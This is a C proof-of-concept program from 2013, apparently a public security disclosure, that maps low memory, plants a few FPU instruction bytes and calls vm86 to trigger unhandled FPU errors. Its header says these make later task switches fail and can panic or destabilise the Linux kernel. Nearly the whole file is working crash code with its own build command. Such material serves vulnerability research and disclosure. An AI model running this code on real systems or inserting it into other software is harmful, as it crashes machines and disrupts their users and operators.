|
/** This software is provided by the copyright owner "as is" and any * expressed or implied warranties, including, but not limited to, * the implied warranties of merchantability and fitness for a particular * purpose are disclaimed. In no event shall the copyright owner be * liable for any direct, indirect, incidential, special, exemplary or * consequential damages, including, but not limited to, procurement * of substitute goods or services, loss of use, data or profits or * business interruption, however caused and on any theory of liability, * whether in contract, strict liability, or tort, including negligence * or otherwise, arising in any way out of the use of this software, * even if advised of the possibility of such damage. * * Copyright (c) 2013 halfdog <me (%) halfdog.net> * * This progam maps memory pages to the low range above 64k to * avoid conflicts with /proc/sys/vm/mmap_min_addr and then * triggers the virtual-86 mode. Due to unhandled FPU errors, * task switch will fail afterwards, kernel will attempt to * kill other tasks when switching. * * gcc -o Virtual86SwitchToEmmsFault Virtual86SwitchToEmmsFault.c * * See http://www.halfdog.net/Data/var/www/www.halfdog.net/Security/2013/Vm86SyscallTaskSwitchKernelPanic/ for more information. */
#include <errno.h> #include <fcntl.h> #include <signal.h> #include <stdio.h> #include <string.h> #include <sys/mman.h> #include <sys/vm86.h> #include <unistd.h>
static const char *DEDICATION="To the most adorable person met so far.";
static void handleSignal(int value, siginfo_t *sigInfo, void *context) { fprintf(stderr, "Handling signal\n"); }
void runTest(void *realMem) { struct vm86plus_struct vm86struct; int result;
memset(&vm86struct, 0, sizeof(vm86struct)); vm86struct.regs.eip=0x0; vm86struct.regs.cs=0x1000; // IF_MASK|IOPL_MASK vm86struct.regs.eflags=0x3002;
vm86struct.regs.esp=0x400; vm86struct.regs.ss=0x1000; vm86struct.regs.ebp=vm86struct.regs.esp; vm86struct.regs.ds=0x1000; vm86struct.regs.fs=0x1000; vm86struct.regs.gs=0x1000; vm86struct.flags=0x0L; vm86struct.screen_bitmap=0x0L; vm86struct.cpu_type=0x0L; alarm(1); result=vm86(VM86_ENTER, &vm86struct); if(result) { fprintf(stderr, "vm86 failed, error %d (%s)\n", errno, strerror(errno)); } }
int main(int argc, char **argv) { struct sigaction sigAction;
int realMemSize=1<<20; void *realMem; int result;
sigAction.sa_sigaction=handleSignal; sigfillset(&sigAction.sa_mask); sigAction.sa_flags=SA_SIGINFO; sigAction.sa_restorer=NULL; sigaction(SIGILL, &sigAction, NULL); // 4 sigaction(SIGFPE, &sigAction, NULL); // 8 sigaction(SIGSEGV, &sigAction, NULL); // 11 sigaction(SIGALRM, &sigAction, NULL); // 14
realMem=mmap((void*)0x10000, realMemSize, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0); if(realMem==(void*)-1) { fprintf(stderr, "Failed to map real-mode memory space\n"); return(1); }
memset(realMem, 0, realMemSize); memcpy(realMem, "\xda\x44\x00\xd9\x2f\xae", 6);
runTest(realMem); }
|